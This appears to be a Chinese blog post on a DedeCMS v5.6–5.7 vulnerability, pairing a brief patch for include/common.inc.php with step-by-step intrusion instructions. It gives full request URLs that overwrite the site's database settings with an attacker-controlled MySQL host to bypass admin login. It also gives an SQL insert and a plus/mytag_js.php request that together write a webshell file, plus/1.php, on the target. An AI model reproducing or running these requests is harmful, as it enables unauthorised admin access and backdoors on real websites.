众所周知,因使用简单、客户群多,织梦 CMS 一直被爆出许多漏洞。今天小编在群里得到织梦官方论坛某版主可靠讯息:DEDECMS 爆严重安全漏洞,近期官方会发布相关补丁,望大家及时关注补丁动态。
入侵步骤如下:http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
把上面 validate 后面的字母改为当前的验证码,即可直接进入网站后台。
小编分析了一下,此漏洞的前提是必须得到后台路径才能实现,因此大家一定要养成使用 DEDECMWordPress 建站时改后台名字的习惯。下面给出官方的解决办法:
解决办法:
找到 include/common.inc.php 档案,把
foreach($_REQUEST as $_k=>$_v)
{
var_dump($_k);
if( strlen($_k)>0 && preg_match(‘#^(cfg_|GLOBALS)#’,$_k) ):
{
exit(‘Request var not allow!’);
}
}
换成
//检查和注册外部提交的变数
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match(‘#^(cfg_|GLOBALS)#’,$val) )
{
exit(‘Request var not allow!’);
}
}
}
CheckRequest($_REQUEST);
网传的都是说要知道后台才能利用,但不用,只要 plus 目录存在,站群服务器能外连,就能拿 shell
前题条件,必须准备好自己的 dede 资料库,然后插入资料:
insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen(“1.php”, ’a’);@fwrite($fp, ’’);echo “OK”;@fclose($fp);{/dede:php}’);
再用下面表单提交,shell 就在同目录下 1.php 。原理自己研究。。。










====================================================
DedeCms v5.6-5.7 0day
其实除过 windows 系统,很多服务提供商是不让 php 连线外部 mysql 站群服务器的。
用 PHPNow 在本地搭建 DEDECMS 执行环境并安装 DEDECMS,这里以 DedeCMSV57_UTF8 为例。
直接进后台:
dede/login.php?dopost=login&validate=8235&userid=admin&pwd=admin&_POST[GLOBALS][cfg_dbhost]=192.168.1.1&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=123456&_POST[GLOBALS][cfg_dbname]=dedecmsv57utf8&_POST[GLOBALS][cfg_dbprefix]=dede_
直接获得 webshell:
进入自己在本地搭建的 dede 资料库,然后插入资料:
insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen(“1.php”, ’a’);@fwrite($fp, ‘’);echo “OK”;@fclose($fp);{/dede:php}’);
在位址列提交以下语句即可获得一句话木马 plus/1.php:
plus/mytag_js.php?aid=1&_POST[GLOBALS][cfg_dbhost]=192.168.1.1&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=123456&_POST[GLOBALS][cfg_dbname]=dedecmsv57utf8&_POST[GLOBALS][cfg_dbprefix]=dede_&nocache=true